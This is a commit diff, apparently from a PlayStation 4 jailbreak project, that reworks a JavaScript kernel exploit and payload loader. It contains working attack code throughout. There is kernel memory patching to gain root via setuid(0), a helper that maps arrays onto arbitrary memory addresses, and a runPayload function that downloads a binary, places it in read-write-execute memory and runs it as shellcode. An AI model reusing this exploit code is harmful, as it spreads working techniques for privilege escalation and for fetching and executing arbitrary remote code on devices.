Make requested changes to payload loader
- Added comments to explain it
This commit is contained in:
@@ -1541,7 +1541,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||
kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff
|
||||
|
||||
const buf = await get_binary(patch_elf_loc);
|
||||
const patches = new View1(await buf);
|
||||
const patches = new View1(buf);
|
||||
let map_size = patches.size;
|
||||
const max_size = 0x10000000;
|
||||
if (map_size > max_size) {
|
||||
@@ -1597,14 +1597,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||
log("execute kpatch...")
|
||||
mem.cpy(write_addr, patches.addr, patches.size);
|
||||
sys_void("kexec", exec_addr, ...restore_info);
|
||||
|
||||
log("munlock save data used in kernel restore");
|
||||
sysi("munlock", restore_info[1], page_size);
|
||||
sysi("munlock", restore_info[4], page_size);
|
||||
|
||||
log("setuid(0)");
|
||||
sysi("setuid", 0);
|
||||
log("kernel exploit succeeded!");
|
||||
}
|
||||
|
||||
// FUNCTIONS FOR STAGE: SETUP
|
||||
@@ -1731,12 +1723,15 @@ export async function kexploit() {
|
||||
}
|
||||
|
||||
// Check if it all worked
|
||||
log("setuid(0)");
|
||||
try {
|
||||
if (sysi("setuid", 0) == 0) {
|
||||
log("kernel exploit succeeded!");
|
||||
return true;
|
||||
}
|
||||
} catch {
|
||||
// Still not exploited, something failed, but it made it here...
|
||||
die("kernel exploit failed!");
|
||||
}
|
||||
|
||||
return false;
|
||||
@@ -1760,6 +1755,17 @@ function malloc32(sz) {
|
||||
return ptr;
|
||||
}
|
||||
|
||||
// ChendoChap's from pOOBs4
|
||||
function array_from_address(addr, size) {
|
||||
const og_array = new Uint32Array(0x1000);
|
||||
const og_array_i = mem.addrof(og_array).add(0x10);
|
||||
mem.write64(og_array_i, addr);
|
||||
mem.write32(og_array_i.add(0x8), size);
|
||||
mem.write32(og_array_i.add(0xC), 0x1);
|
||||
nogc.push(og_array);
|
||||
return og_array;
|
||||
}
|
||||
|
||||
// ChendoChap's from pOOBs4
|
||||
function runBinLoader() {
|
||||
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0);
|
||||
@@ -1839,34 +1845,52 @@ function runBinLoader() {
|
||||
}
|
||||
|
||||
function runPayload(path) {
|
||||
// Why xhr instead of fetch? More universal support, more control, better errors, etc.
|
||||
log(`loading ${path}`);
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", path);
|
||||
xhr.responseType = "arraybuffer";
|
||||
xhr.onreadystatechange = function () {
|
||||
// When request is "DONE"
|
||||
if (xhr.readyState === 4) {
|
||||
// If response code is "OK"
|
||||
if (xhr.status === 200) {
|
||||
try {
|
||||
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x41000, 0xffffffff, 0);
|
||||
// Allocate a buffer with length rounded up to the next multiple of 4 bytes for Uint32 alignment
|
||||
const padding_length = (4 - (xhr.response.byteLength % 4)) % 4;
|
||||
const padded_buffer = new Uint8Array(xhr.response.byteLength + padding_length);
|
||||
|
||||
// Load xhr response data into the payload buffer and pad the rest with zeros
|
||||
padded_buffer.set(new Uint8Array(xhr.response), 0);
|
||||
if (padding_length) {
|
||||
padded_buffer.set(new Uint8Array(padding_length), xhr.response.byteLength);
|
||||
}
|
||||
|
||||
// Convert padded_buffer to Uint32Array. That's what `array_from_address()` expects
|
||||
const shellcode = new Uint32Array(padded_buffer.buffer);
|
||||
|
||||
// Map memory with RWX permissions to load the payload into
|
||||
const payload_buffer = chain.sysp('mmap', 0x0, padded_buffer.length, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, 0xffffffff, 0);
|
||||
log(`payload buffer allocated at ${payload_buffer}`);
|
||||
|
||||
// Trick for 4 bytes padding
|
||||
const padding = new Uint8Array(4 - ((xhr.response.byteLength % 4) % 4));
|
||||
const tmp = new Uint8Array(xhr.response.byteLength + padding.byteLength);
|
||||
tmp.set(new Uint8Array(xhr.response), 0);
|
||||
tmp.set(padding, xhr.response.byteLength);
|
||||
// Create an JS array that "shadows" the mapped location
|
||||
const payload_buffer_shadow = array_from_address(payload_buffer, shellcode.length);
|
||||
|
||||
const shellcode = new Uint32Array(tmp.buffer);
|
||||
for (let i = 0; i < shellcode.length; i++) {
|
||||
mem.write32(payload_buffer.add(0x100000 + i * 4), shellcode[i]);
|
||||
}
|
||||
log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding.length} bytes padding)`);
|
||||
// Move the shellcode to the array created in the previous step
|
||||
payload_buffer_shadow.set(shellcode);
|
||||
log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding_length} bytes padding)`);
|
||||
|
||||
// Call the payload
|
||||
chain.call_void(payload_buffer);
|
||||
sysi("munmap", payload_buffer, 0x300000);
|
||||
|
||||
// Unmap the memory used for the payload
|
||||
sysi("munmap", payload_buffer, padded_buffer.length);
|
||||
} catch (e) {
|
||||
// Caught error while trying to execute payload
|
||||
log(`error in runPayload: ${e.message}`);
|
||||
}
|
||||
} else {
|
||||
// Some other HTTP response code (eg. 404)
|
||||
log(`error retrieving payload, ${xhr.status}`);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user